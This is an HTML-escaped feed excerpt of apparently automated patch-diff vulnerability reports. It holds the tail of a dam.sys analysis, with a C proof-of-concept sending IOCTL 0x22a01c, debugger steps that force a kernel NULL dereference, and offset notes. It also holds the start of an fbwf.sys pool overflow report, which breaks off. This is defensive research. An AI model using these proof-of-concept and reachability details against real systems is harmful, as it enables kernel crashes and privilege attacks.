&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateFileW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;DamCtrl&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GENERIC_WRITE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OPEN_EXISTING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INVALID_HANDLE_VALUE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GetLastError&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GetCurrentProcessId&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// or any valid PID&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;returned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Single call for ref-leak demonstration:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DeviceIoControl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x22a01c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;returned&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// To trigger NULL-deref in the debugger: set bp at 0x1c000a6c9,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// run &amp;#39;r rax=0&amp;#39;, then &amp;#39;g&amp;#39;.&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CloseHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Expected observations&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;NULL-deref:&lt;/strong&gt; &lt;code&gt;BugCheck 0x50 (PAGE_FAULT_IN_NONPAGED_AREA)&lt;/code&gt; with faulting virtual address near &lt;code&gt;0x0&lt;/code&gt;; second parameter &lt;code&gt;1&lt;/code&gt; (write); call stack showing &lt;code&gt;dam_unpatched!DampIoDispatch → PsQueryProcessCommandLine&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reference leak:&lt;/strong&gt; No crash. After N IOCTLs, &lt;code&gt;!process &amp;lt;PID&amp;gt; 7&lt;/code&gt; shows &lt;code&gt;PointerCount&lt;/code&gt; increased by N. &lt;code&gt;!poolfind DamK&lt;/code&gt; reveals leaked allocation(s). After process exit, the EPROCESS still resides in pool: &lt;code&gt;!pool &amp;lt;addr&amp;gt;&lt;/code&gt; shows it pinned by the leaked reference.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Struct / offset notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;IRP offsets used by the handler:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[IRP+0x18]&lt;/code&gt; — &lt;code&gt;AssociatedIrp.SystemBuffer&lt;/code&gt; (METHOD_BUFFERED pointer).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[IRP+0x30]&lt;/code&gt; — &lt;code&gt;IoStatus.Status&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[IRP+0x38]&lt;/code&gt; — &lt;code&gt;IoStatus.Information&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[IRP+0xb8]&lt;/code&gt; — tail-located &lt;code&gt;IoStackLocation&lt;/code&gt; pointer (rsi).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IO_STACK_LOCATION&lt;/code&gt; offsets:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[+0x8]&lt;/code&gt; — &lt;code&gt;Parameters.DeviceIoControl.OutputBufferLength&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[+0x10]&lt;/code&gt; — &lt;code&gt;Parameters.DeviceIoControl.InputBufferLength&lt;/code&gt; (ecx).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[+0x18]&lt;/code&gt; — &lt;code&gt;Parameters.DeviceIoControl.IoControlCode&lt;/code&gt; (r8d).&lt;/li&gt;
&lt;li&gt;Unpatched stack frame layout (notable):&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[rbp-0x21]&lt;/code&gt; — &lt;code&gt;ClientId&lt;/code&gt; (8 bytes; &lt;code&gt;UniqueProcess&lt;/code&gt; low, &lt;code&gt;UniqueThread&lt;/code&gt; high).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[rbp-0x1]&lt;/code&gt; — &lt;code&gt;OBJECT_ATTRIBUTES&lt;/code&gt; (Length = &lt;code&gt;0x30&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[rbp+0x77]&lt;/code&gt; — PEPROCESS output from &lt;code&gt;ObReferenceObjectByHandleWithTag&lt;/code&gt; (&lt;code&gt;v24&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[rbp+0x6f]&lt;/code&gt; — required command-line length (&lt;code&gt;NumberOfBytes&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[rbp+0x7f]&lt;/code&gt; — process &lt;code&gt;Handle&lt;/code&gt; (&lt;code&gt;ProcessHandle&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Pool tag: &lt;code&gt;'DamK'&lt;/code&gt; = &lt;code&gt;0x4b6d6144&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;Only one function differs between the binaries.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;DampIoDispatch&lt;/code&gt; — similarity &lt;strong&gt;0.9255&lt;/strong&gt;, change type &lt;strong&gt;security_relevant&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IOCTL &lt;code&gt;0x22a01c&lt;/code&gt; (Function 0x807, METHOD_BUFFERED, FILE_WRITE_ACCESS):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Replaced&lt;/strong&gt; &lt;code&gt;ZwOpenProcess(PROCESS_ALL_ACCESS) + ObReferenceObjectByHandleWithTag&lt;/code&gt; with &lt;code&gt;PsLookupProcessByProcessId&lt;/code&gt;. Eliminates handle management and the over-privileged &lt;code&gt;PROCESS_ALL_ACCESS&lt;/code&gt; pattern.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added&lt;/strong&gt; &lt;code&gt;ObfDereferenceObject(Process)&lt;/code&gt; in a unified cleanup path → &lt;strong&gt;fixes the EPROCESS reference leak (Finding #1)&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added&lt;/strong&gt; &lt;code&gt;test rax, rax / jne&lt;/code&gt; after &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; and a &lt;code&gt;STATUS_NO_MEMORY (0xC0000017)&lt;/code&gt; branch → &lt;strong&gt;fixes the NULL pointer dereference (Finding #2)&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added&lt;/strong&gt; NULL guard on &lt;code&gt;ExFreePoolWithTag(P, 'DamK')&lt;/code&gt; so it is never called against NULL.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Restructured&lt;/strong&gt; &lt;code&gt;RtlFreeUnicodeString&lt;/code&gt;, &lt;code&gt;ObfDereferenceObject&lt;/code&gt;, and &lt;code&gt;ExFreePoolWithTag&lt;/code&gt; into a single guarded cleanup section. The guards are the runtime values themselves: &lt;code&gt;UnicodeString.Buffer != NULL&lt;/code&gt;, &lt;code&gt;Process != NULL&lt;/code&gt;, and &lt;code&gt;PoolWithTag != NULL&lt;/code&gt; (no separate tracking flag).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cosmetic / register-allocation effects:&lt;/strong&gt; the callee-saved register &lt;code&gt;r14&lt;/code&gt; is replaced by &lt;code&gt;r12&lt;/code&gt;, and the IRP pointer is held in &lt;code&gt;r15&lt;/code&gt; instead of &lt;code&gt;r14&lt;/code&gt;; the stack frame shrinks from &lt;code&gt;0xc0&lt;/code&gt; to &lt;code&gt;0x70&lt;/code&gt; because the &lt;code&gt;OBJECT_ATTRIBUTES&lt;/code&gt; and &lt;code&gt;CLIENT_ID&lt;/code&gt; locals are no longer needed (the PID is passed directly to &lt;code&gt;PsLookupProcessByProcessId&lt;/code&gt;). These changes are a side effect of the cleanup restructure and have no security impact.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No other behavioral changes are present in the diff.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None. The patch neither adds nor removes any function. All 123 functions in each binary map to a counterpart in the other.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rationale:&lt;/strong&gt; The diff is exceptionally narrow (1 of 123 functions changed, similarity 0.99 at the binary level). The vulnerable instructions (missing &lt;code&gt;ObfDereferenceObject&lt;/code&gt;, missing NULL check on &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt;) are directly observable in the assembly and pseudocode, and the patched counterparts (&lt;code&gt;ObfDereferenceObject&lt;/code&gt; call, &lt;code&gt;test rax,rax&lt;/code&gt; guard, &lt;code&gt;STATUS_NO_MEMORY&lt;/code&gt; branch) are unambiguous. The dispatch logic for IOCTL &lt;code&gt;0x22a01c&lt;/code&gt; and the IRP field offsets are consistent across the function.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assumptions made:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The device symlink is &lt;code&gt;\\??\\DamCtrl&lt;/code&gt; and the Win32 device path is &lt;code&gt;\\.\DamCtrl&lt;/code&gt;. The diff context identifies &lt;code&gt;\\Device\\DamCtrl&lt;/code&gt; as the underlying device; the user-visible name is inferred from the standard pattern.&lt;/li&gt;
&lt;li&gt;Reachability is gated by the device ACL (via &lt;code&gt;WdmlibIoCreateDeviceSecure&lt;/code&gt; on test-signing builds or default &lt;code&gt;IoCreateDevice&lt;/code&gt; security on production builds). The ACL was not in scope of the diff; verify on the target build.&lt;/li&gt;
&lt;li&gt;The 8-byte input buffer layout (DWORD PID + DWORD unused) is inferred from the &lt;code&gt;cmp ecx, 0x8&lt;/code&gt; length check and the &lt;code&gt;mov rax, qword [rdi]&lt;/code&gt; read of the SystemBuffer.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;To verify manually before writing a final PoC:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Confirm the loaded base address of &lt;code&gt;dam.sys&lt;/code&gt; on the target system (&lt;code&gt;lm m dam&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Verify the security descriptor on &lt;code&gt;\\Device\\DamCtrl&lt;/code&gt; (&lt;code&gt;!sd&lt;/code&gt; via kernel debugger or &lt;code&gt;GetSecurityInfo&lt;/code&gt; from user mode) to confirm a non-administrator can actually obtain a writable handle.&lt;/li&gt;
&lt;li&gt;Validate that the target PID is not exempted by &lt;code&gt;DampCheckProcessExempted&lt;/code&gt; (called at &lt;code&gt;0x1c000a77e&lt;/code&gt;, on the separate IOCTL &lt;code&gt;0x22a014&lt;/code&gt; path) — the IOCTL &lt;code&gt;0x22a01c&lt;/code&gt; handler is not filtered through that check; confirm at runtime by breaking at &lt;code&gt;DampCheckProcessExempted&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;For the NULL-deref path, confirm paged-pool quota dynamics on the target OS build to know how much pressure is required; alternatively rely on the debugger &lt;code&gt;r rax=0&lt;/code&gt; injection at &lt;code&gt;0x1c000a6c9&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;For the reference leak, confirm with &lt;code&gt;!process &amp;lt;PID&amp;gt; 7&lt;/code&gt; that &lt;code&gt;PointerCount&lt;/code&gt; increments per call and does not decrement on the unpatched build (and does decrement on the patched build).&lt;/li&gt;
&lt;/ol&gt;</content><category term="Corpus"/></entry><entry><title>fbwf.sys — pool out-of-bounds write from unaccounted stream-name append in FbwfGenerateFileName (CWE-787) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/fbwf_e20db0b4-fbwf-report-20260625-231221.html" rel="alternate"/><published>2026-06-25T00:00:00-07:00</published><updated>2026-06-25T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-25:/drift-corpus/item/fbwf_e20db0b4-fbwf-report-20260625-231221.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;fbwf_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;fbwf_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; &lt;code&gt;0.6656&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Matched Functions: 173 (124 changed, 49 identical)&lt;/li&gt;
&lt;li&gt;Unmatched (Unpatched): 0&lt;/li&gt;
&lt;li&gt;Unmatched (Patched): 0&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The load-bearing security fix is in &lt;code&gt;FbwfGenerateFileName&lt;/code&gt;. The unpatched build allocates a fixed &lt;code&gt;0xFFFE&lt;/code&gt;-byte pool buffer, fills it with the volume name plus the current path (bounded to the remaining space), and then, when the target file has an alternate data stream, appends a &lt;code&gt;':'&lt;/code&gt; separator and the stream name at the running offset with no size check. Because the fixed buffer was never sized to hold the appended stream, a sufficiently long path leaves the colon and stream-name writes past the end of the allocation, corrupting adjacent paged pool. The patched build first computes the exact required size (volume length + path length + &lt;code&gt;2&lt;/code&gt; for the colon + stream length) and allocates that, so the appended data always fits.&lt;/p&gt;
&lt;p&gt;A second, sibling instance of the same bug and the same fix exists in &lt;code&gt;DirTreeNode::AddDirEntry&lt;/code&gt; (the directory-entry name-construction path). The unpatched build allocates the same fixed &lt;code&gt;0xFFFE&lt;/code&gt;-byte paged-pool buffer, fills it with the current directory path via &lt;code&gt;FbwfGetCurrentPath&lt;/code&gt;, and then appends the directory-entry name and the write-through-entry name at the running path offset with no size check. The patched build pre-measures &lt;code&gt;path_len + 4 + max(entry_name_len, write_through_name_len)&lt;/code&gt; and allocates exactly that with &lt;code&gt;ExAllocatePool2&lt;/code&gt; before performing the identical copies. This is a second load-bearing &lt;code&gt;CWE-787&lt;/code&gt; fix; see Finding 5.&lt;/p&gt;
&lt;p&gt;Two further changes are defensive rather than corrective: &lt;code&gt;FbwfPortMessage&lt;/code&gt; gains a brand-new IOCTL &lt;code&gt;0xFB2F0001&lt;/code&gt; handler that performs overflow-checked &lt;code&gt;count * block_size&lt;/code&gt; arithmetic (a new feature that returns &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt; on overflow; the product only updates a cache-accounting counter, not an allocation). &lt;code&gt;FbwfCheckAndTranslateVolumeName&lt;/code&gt; replaces a manual wide-string length loop with &lt;code&gt;RtlInitUnicodeString&lt;/code&gt;, which performs the identical unbounded null-terminator scan; the two builds behave the same. &lt;code&gt;FbwfWrite&lt;/code&gt;'s byte-offset sentinel handling is a structural refactor with no behavioral change.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;h4&gt;Finding 1: Pool Out-of-Bounds Write in &lt;code&gt;FbwfGenerateFileName&lt;/code&gt; (Medium)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Out-of-Bounds Write / Incorrect Buffer Size Calculation (CWE-787, root cause CWE-131)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;FbwfGenerateFileName&lt;/code&gt; (Unpatched: &lt;code&gt;0x1C0001CB0&lt;/code&gt; / Patched: &lt;code&gt;0x140002A80&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; In the option-byte 1/2 name-construction path, the unpatched function allocates a fixed &lt;code&gt;0xFFFE&lt;/code&gt; (65534) byte pool buffer (&lt;code&gt;mov r15d, 0FFFEh&lt;/code&gt; @ &lt;code&gt;0x1C0001E53&lt;/code&gt;, &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; @ &lt;code&gt;0x1C0001E61&lt;/code&gt;). It copies the volume name (&lt;code&gt;memmove&lt;/code&gt; @ &lt;code&gt;0x1C0001E8F&lt;/code&gt;, size = &lt;code&gt;word[rdx+0x18]&lt;/code&gt;), sets the remaining budget to &lt;code&gt;0xFFFE - volume_len&lt;/code&gt; (&lt;code&gt;sub r15d, esi&lt;/code&gt; @ &lt;code&gt;0x1C0001E94&lt;/code&gt;), and writes the current path bounded by that remainder via &lt;code&gt;FbwfGetCurrentPath&lt;/code&gt; (@ &lt;code&gt;0x1C0001EAD&lt;/code&gt;). After this, &lt;code&gt;si&lt;/code&gt; holds &lt;code&gt;volume_len + path_len&lt;/code&gt;. If the file object has a stream (&lt;code&gt;cmp [r14+70h], r12&lt;/code&gt; @ &lt;code&gt;0x1C0001EB5&lt;/code&gt;), the code writes a &lt;code&gt;':'&lt;/code&gt; at byte offset &lt;code&gt;si&lt;/code&gt; (&lt;code&gt;mov [rax+rcx*2], dx&lt;/code&gt; @ &lt;code&gt;0x1C0001ECF&lt;/code&gt;) and then &lt;code&gt;memmove&lt;/code&gt;s the stream name at &lt;code&gt;buffer + si + 2&lt;/code&gt; (@ &lt;code&gt;0x1C0001E1C&lt;/code&gt;) — with no check that &lt;code&gt;si + 2 + stream_len &amp;lt;= 0xFFFE&lt;/code&gt;. The buffer was sized to hold only the volume name and path, so when those fill it the colon and stream-name bytes are written past the allocation into adjacent paged pool.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point:&lt;/strong&gt; File create/name-query on an &lt;code&gt;fbwf&lt;/code&gt;-protected volume for a file bearing an alternate data stream, reaching the minifilter name-generation path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Call Chain:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;A file with an alternate data stream (&lt;code&gt;path:stream&lt;/code&gt;) on an &lt;code&gt;fbwf&lt;/code&gt;-monitored volume is opened/queried.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FbwfGenerateFileName&lt;/code&gt; allocates the fixed &lt;code&gt;0xFFFE&lt;/code&gt; buffer and copies volume name + path.&lt;/li&gt;
&lt;li&gt;The stream branch appends &lt;code&gt;':'&lt;/code&gt; + stream name at &lt;code&gt;volume_len + path_len&lt;/code&gt; with no bounds check.&lt;/li&gt;
&lt;li&gt;When &lt;code&gt;volume_len + path_len&lt;/code&gt; approaches &lt;code&gt;0xFFFE&lt;/code&gt;, the appended bytes overflow the pool allocation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fix:&lt;/strong&gt; The patched function pre-measures the full length before allocating. It calls &lt;code&gt;FbwfGetCurrentPath&lt;/code&gt; in measure mode (&lt;code&gt;r8d = 0&lt;/code&gt; @ &lt;code&gt;0x140002C2F&lt;/code&gt;), forms &lt;code&gt;ebx = volume_len + path_len&lt;/code&gt; (&lt;code&gt;0x140002C3F&lt;/code&gt;/&lt;code&gt;0x140002C42&lt;/code&gt;), and when a stream is present adds the colon and stream length: &lt;code&gt;lea r15d, [rbx+2]&lt;/code&gt; (@ &lt;code&gt;0x140002C6E&lt;/code&gt;) then &lt;code&gt;lea r15d, [r15+rax*2]&lt;/code&gt; (@ &lt;code&gt;0x140002C72&lt;/code&gt;). It allocates exactly that size with &lt;code&gt;ExAllocatePool2&lt;/code&gt; (@ &lt;code&gt;0x140002C8B&lt;/code&gt;) before performing the same copies, so the appended stream can never exceed the buffer.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Finding 2: Integer Overflow Hardening in &lt;code&gt;FbwfPortMessage&lt;/code&gt; Scratch-Space Sizing (Low)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Integer Overflow in Size Computation, defensively hardened (CWE-190)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;FbwfPortMessage&lt;/code&gt; (Unpatched: &lt;code&gt;0x1C0009E00&lt;/code&gt; / Patched: &lt;code&gt;0x140003DB0&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The patched handler adds a scratch-space adjustment path (reached only for IOCTL &lt;code&gt;0xFB2F0001&lt;/code&gt;, &lt;code&gt;cmp r13d, 0FB2F0001h&lt;/code&gt; @ &lt;code&gt;0x140004DBB&lt;/code&gt;) that reads a user-supplied 64-bit &lt;code&gt;count&lt;/code&gt; from the message body (&lt;code&gt;mov r15, [rcx+r9]&lt;/code&gt; @ &lt;code&gt;0x140004DB0&lt;/code&gt;) and multiplies it by the volume's block size (&lt;code&gt;mov r8d, [rcx+14h]&lt;/code&gt; @ &lt;code&gt;0x140004E1F&lt;/code&gt;; &lt;code&gt;mul r15&lt;/code&gt; @ &lt;code&gt;0x140004E45&lt;/code&gt;). The multiplication is guarded by an overflow test (&lt;code&gt;test rdx, rdx; jnz&lt;/code&gt; @ &lt;code&gt;0x140004E4F&lt;/code&gt;) that, on overflow, forces the size to &lt;code&gt;-1&lt;/code&gt; and returns &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt; (&lt;code&gt;0xC0000095&lt;/code&gt;, @ &lt;code&gt;0x140004E5B&lt;/code&gt;). Non-positive counts are rejected up front (&lt;code&gt;test r15, r15; jle default&lt;/code&gt; @ &lt;code&gt;0x140004DB2&lt;/code&gt;) and the &lt;code&gt;0x7FFFFFFFFFFFFFFF&lt;/code&gt; sentinel is special-cased (&lt;code&gt;cmp r15, rax&lt;/code&gt; @ &lt;code&gt;0x140004DFF&lt;/code&gt;). The resulting product feeds a running cache-accounting counter (&lt;code&gt;mov cs:TotalBytes, r9&lt;/code&gt; @ &lt;code&gt;0x140004F68&lt;/code&gt;), compared against system memory information from &lt;code&gt;ZwQuerySystemInformation&lt;/code&gt; (@ &lt;code&gt;0x140004DDB&lt;/code&gt;); it does not size a pool allocation. The unpatched &lt;code&gt;FbwfPortMessage&lt;/code&gt; contains no &lt;code&gt;0xFB2F0001&lt;/code&gt; case, no &lt;code&gt;mul&lt;/code&gt;/&lt;code&gt;imul&lt;/code&gt;, and no &lt;code&gt;ZwQuerySystemInformation&lt;/code&gt; call. Both builds bound-check the IOCTL dispatch index identically (&lt;code&gt;lea eax, [reg+0x4e0fffe]; cmp eax, 0xb; ja default&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point:&lt;/strong&gt; &lt;code&gt;FilterSendMessage&lt;/code&gt; (User mode) -&amp;gt; &lt;code&gt;FltMgr&lt;/code&gt; -&amp;gt; &lt;code&gt;FbwfPortMessage&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Call Chain:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;User-mode process connects to the filter communication port via &lt;code&gt;FilterConnectCommunicationPort&lt;/code&gt;.&lt;/li&gt;
